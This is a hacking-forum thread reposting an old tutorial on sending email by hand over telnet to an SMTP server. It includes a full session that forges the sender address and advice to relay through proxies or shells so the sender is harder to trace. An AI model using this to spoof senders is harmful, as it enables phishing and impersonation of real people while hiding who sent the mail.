Hello There, Guest! Login Register
Logo
Dismiss this notice
MaDLeeTs is not responsible for any attacks that are carried out on networks, websites or servers.
MaDLeeTs staff members cannot be held responsible.
All information on this forum is for educational purposes only.


Understanding SMTP and how to send emails via Telnet

  • 0 Vote(s) - 0 Average


08-05-2012, 08:08 AM #1
R3DL0F Offline Founder at Securityl33ts **********
Junior Administrator
Posts:51 Threads:13 Joined:Jul 2012 Reputation: 0
Mood: Drunk
|\ ____ \ |\ ____ \ |\ \|\ \|\ \ |\_____ ____\
| \ \__|\ \ | \ \__|\ \ | \ \ \ \ \ \ | | |\ \ |
\ \ ___ | \ \ ____ \ \ \ \_| \_| \ \|___| \ \__|
\ \ \_|\ \_ \ \ \__|\ \ \ \ _ \ \ \ \
\ \ \\ \ \ \ \ \ \ \ \ \ \ |\ http://Madleets.com
\ \___\\ \___\ \ \___\ \ \___\ \ \____| \_____\ \ \___\
\ | | \ | | \ | | \ | | \ | |\ | | \ | |
\|___| \|___| \|___| \|___| \|___| \|____| \|___|

Understanding SMTP and how to send emails via Telnet.

Author: BrainRawt
Email: [email protected]
Site: http://www.haxworx.com

Updated on 9-11-02

This text explains how one can telnet do an SMTP server, and use that
server to their advantage via commandline. What you are about to see, is
what really goes on behind the scenes of every program you use to send
email. Now you will know how to do it manually and how to send email
from other people. This can be easily done in your email software, but
we dont like that GUI mess, so we stick with the commandline.

NOTE: I do not recommend that anyone take this knowledge and attempt
to cause any harm with it. The emails being sent "CAN" be
traced back to you if needed. If you plan to use this in a manner
that is not appropriate then i suggest highly that you bnc through
wingates, proxies and/or shells before reaching the smtp server. (It wont
guarantee anything but it will make the smtp owners attempt to trace
you just alittle harder.)


Vulnerable Machines: Any machine running an SMTP server. (port 25 usually)

Any machine running SMTP that allows forwarding will let you
send emails to anywhere in the world. (not many of these around
anymore) The rest will only allow you to send emails within
their domain.



-------------------------------------------------------------------------------
Found below is an example on how one can achieve the sending of spoofed mail.
-------------------------------------------------------------------------------


/* Connect to the smtp server */

[[email protected] brainrawt]$ telnet blau.com 25
Trying 205.123.15.34...
Connected to mail.blau.com (205.123.15.34).
Escape character is '^]'.
220 mail.blau.com ESMTP Sendmail 8.9.3/8.9.3; Tue, 3 Jul 2001 18:32:54 -0500

/* Say "helo" to the server. Its the nice thing to do. */

>helo blau.com
250 mail.blau.com Hello rawt.blazingpenguin.com [192.168.0.3], pleased to meet you

/* Tell the server where this email will "appear" to come from */

>mail from: [email protected]
250 [email protected] Sender ok

/* Tell the server where this email IS going */

>rcpt to: [email protected]
250 [email protected] Recipient ok

/* Prepare the server for our message by typing "data" */

>data
354 Enter mail, end with "." on a line by itself

/* Now we shall get that msg in there (dont forget the "." on the line by itself.) */

>This is my message and i am only sending it to help you better understand how this works.
>.
250 SAA29307 Message accepted for delivery


/* Message has been accepted by the server. Lets get outta here! */

>quit
221 mail.blau.com closing connection
Connection closed by foreign host.
[[email protected]mmas brainrawt]$

--------------------------------------------------------------------------------------------
The above example has sent an email from "[email protected]" to "[email protected]" with the
message "This is my message and i am only sending it to help you better understand how this
works." and it has all been done remotely by a user that doesnt even have an account on
blau.com.
--------------------------------------------------------------------------------------------

Which looks better? Blackhat or White? You decide. - BrainRawt

======================================
The planet is fine. The people are fucked.


For Complaints & Help Contact:- [email protected]

Contact Me : [email protected]   70
======================================

08-05-2012, 09:15 AM #2
M4DSh4k Offline Administrator *******
Administrators
Posts:182 Threads:56 Joined:Jul 2012 Reputation: 0
Mood: None
nice tut..... keep sharing ...

./M4DSh4k
./MaD1337
./h4x0rl1f3


www.Fb.com/shak.haxor

Mad All Time.

12-10-2012, 10:53 PM #3
anon Offline I'm anonymous ***
Registered
Posts:148 Threads:0 Joined:Dec 2012 Reputation: 0
Mood: None
thanx bro Smiley1

anon88

12-25-2012, 02:08 AM #4
[email protected] Offline Posting Freak *****
Registered
Posts:936 Threads:133 Joined:Dec 2012 Reputation: 1
Mood: None
G00D Share Dude Keep It Up



05-20-2014, 08:56 PM #5
Mr.Black Hat Offline Junior Member **
Registered
Posts:8 Threads:0 Joined:May 2014 Reputation: 0
Mood: None
Nice Sharing Bro

10-13-2014, 01:53 AM #6
Killeros Offline Junior Member **
Registered
Posts:12 Threads:1 Joined:Sep 2014 Reputation: 0
Mood: None
An update would be good to this .. This is very old method ..






Forum Jump:


Users browsing this thread:1 Guest(s)